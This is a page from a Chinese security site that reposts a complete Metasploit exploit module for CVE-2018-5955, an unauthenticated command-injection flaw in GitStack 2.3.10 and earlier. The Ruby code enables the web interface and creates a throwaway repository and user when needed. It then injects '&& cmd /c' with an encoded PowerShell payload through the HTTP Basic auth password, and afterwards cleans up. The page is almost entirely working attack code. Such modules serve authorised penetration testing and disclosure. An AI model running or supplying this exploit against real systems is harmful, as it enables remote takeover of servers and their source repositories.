首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GitStack - Unsanitized Argument Remote Code Execution (Metasploit)
来源:metasploit.com 作者:Robles 发布时间:2018-03-30  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Powershell
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GitStack Unsanitized Argument RCE',
      'Description'    => %q{
        This module exploits a remote code execution vulnerability that
        exists in GitStack through v2.3.10, caused by an unsanitized argument
        being passed to an exec function call. This module has been tested
        on GitStack v2.3.10.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Kacper Szurek',    # Vulnerability discovery and PoC
          'Jacob Robles'      # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2018-5955'],
          ['EDB', '43777'],
          ['EDB', '44044'],
          ['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Targets'        => [['Automatic', {}]],
      'Privileged'     => true,
      'DisclosureDate' => 'Jan 15 2018',
      'DefaultTarget'  => 0))
  end
 
  def check_web
    begin
      res = send_request_cgi({
        'uri'     =>  '/rest/settings/general/webinterface/',
        'method'  => 'GET'
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
 
    if res && res.code == 200
      if res.body =~ /true/
        vprint_good('Web interface is enabled')
        return true
      else
        vprint_error('Web interface is disabled')
        return false
      end
    else
      print_error('Unable to determine status of web interface')
      return nil
    end
  end
 
  def check_repos
    begin
      res = send_request_cgi({
        'uri'     =>  '/rest/repository/',
        'method'  =>  'GET',
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      begin
        mylist = res.get_json_document
      rescue JSON::ParserError => e
        print_error("Failed: #{e.class} - #{e.message}")
        return nil
      end
 
      if mylist.length == 0
        vprint_error('No repositories found')
        return false
      else
        vprint_good('Repositories found')
        return mylist
      end
    else
      print_error('Unable to determine available repositories')
      return nil
    end
  end
 
  def update_web(web)
    data = {'enabled' => web}
    begin
      res = send_request_cgi({
        'uri'     =>  '/rest/settings/general/webinterface/',
        'method'  =>  'PUT',
        'data'    =>  data.to_json
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("#{res.body}")
    end
  end
 
  def create_repo
    repo = Rex::Text.rand_text_alpha(5)
    c_token = Rex::Text.rand_text_alpha(5)
    begin
      res = send_request_cgi({
        'uri'       =>  '/rest/repository/',
        'method'    =>  'POST',
        'cookie'    =>  "csrftoken=#{c_token}",
        'vars_post' =>  {
          'name'                =>  repo,
          'csrfmiddlewaretoken' =>  c_token
        }
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("#{res.body}")
      return repo
    else
      print_status('Unable to create repository')
      return nil
    end
  end
 
  def delete_repo(repo)
    begin
      res = send_request_cgi({
        'uri'     =>  "/rest/repository/#{repo}/",
        'method'  =>  'DELETE'
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
 
    if res && res.code == 200
      vprint_good("#{res.body}")
    else
      print_status('Failed to delete repository')
    end
  end
 
  def create_user
    user = Rex::Text.rand_text_alpha(5)
    pass = user
    begin
      res = send_request_cgi({
        'uri'       => '/rest/user/',
        'method'    =>  'POST',
        'vars_post' =>  {
          'username'  =>  user,
          'password'  =>  pass
        }
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("Created user: #{user}")
      return user
    else
      print_error("Failed to create user")
      return nil
    end
  end
 
  def delete_user(user)
    begin
      res = send_request_cgi({
        'uri'     =>  "/rest/user/#{user}/",
        'method'  =>  'DELETE'
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("#{res.body}")
    else
      print_status('Delete user unsuccessful')
    end
  end
 
  def mod_user(repo, user, method)
    begin
      res = send_request_cgi({
        'uri'     =>  "/rest/repository/#{repo}/user/#{user}/",
        'method'  =>  method
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      vprint_good("#{res.body}")
    else
      print_status('Unable to add/remove user from repo')
    end
  end
 
  def repo_users(repo)
    begin
      res = send_request_cgi({
        'uri'     =>  "/rest/repository/#{repo}/user/",
        'method'  =>  'GET'
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
    if res && res.code == 200
      begin
        users = res.get_json_document
        users -= ['everyone']
      rescue JSON::ParserError => e
        print_error("Failed: #{e.class} - #{e.message}")
        users = nil
      end
    else
      return nil
    end
    return users
  end
 
  def run_exploit(repo, user, cmd)
    begin
      res = send_request_cgi({
        'uri'           =>  '/web/index.php',
        'method'        =>  'GET',
        'authorization' =>  basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),
        'vars_get'      =>  {
          'p' =>  "#{repo}.git",
          'a' =>  'summary'
        }
      })
    rescue Rex::ConnectionError, Errno::ECONNRESET => e
      print_error("Failed: #{e.class} - #{e.message}")
    end
  end
 
  def exploit
    command = cmd_psh_payload(
      payload.encoded,
      payload_instance.arch.first,
      { :remove_comspec => true, :encode_final_payload => true }
    )
    fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110
 
    web = check_web
    repos = check_repos
 
    if web.nil? || repos.nil?
      return
    end
 
    unless web
      update_web(!web)
      # Wait for interface
      sleep 8
    end
 
    if repos
      pwn_repo = repos[0]['name']
    else
      pwn_repo = create_repo
    end
 
    r_users = repo_users(pwn_repo)
    if r_users.present?
      pwn_user = r_users[0]
      run_exploit(pwn_repo, pwn_user, command)
    else
      pwn_user = create_user
      if pwn_user
        mod_user(pwn_repo, pwn_user, 'POST')
        run_exploit(pwn_repo, pwn_user, command)
        mod_user(pwn_repo, pwn_user, 'DELETE')
        delete_user(pwn_user)
      end
    end
 
    unless web
      update_web(web)
    end
 
    unless repos
      delete_repo(pwn_repo)
    end
  end
end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Drupal 7.0 < 7.31 - 'Drupalged
·Exodus Wallet (ElectronJS Fram
·Allok AVI DivX MPEG To DVD Con
·Joomla Component Fields - SQLi
·Square 9 GlobalForms 6.2.x Bli
·Tenda W308R V2 Wireless Router
·SysGauge 4.5.18 Denial Of Serv
·ManageEngine Application Manag
·TwonkyMedia Server 7.0.11-8.5
·Tenda N11 Wireless Router 5.07
·Homematic CCU2 2.29.23 - Arbit
·ClipBucket beats_uploader Unau
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved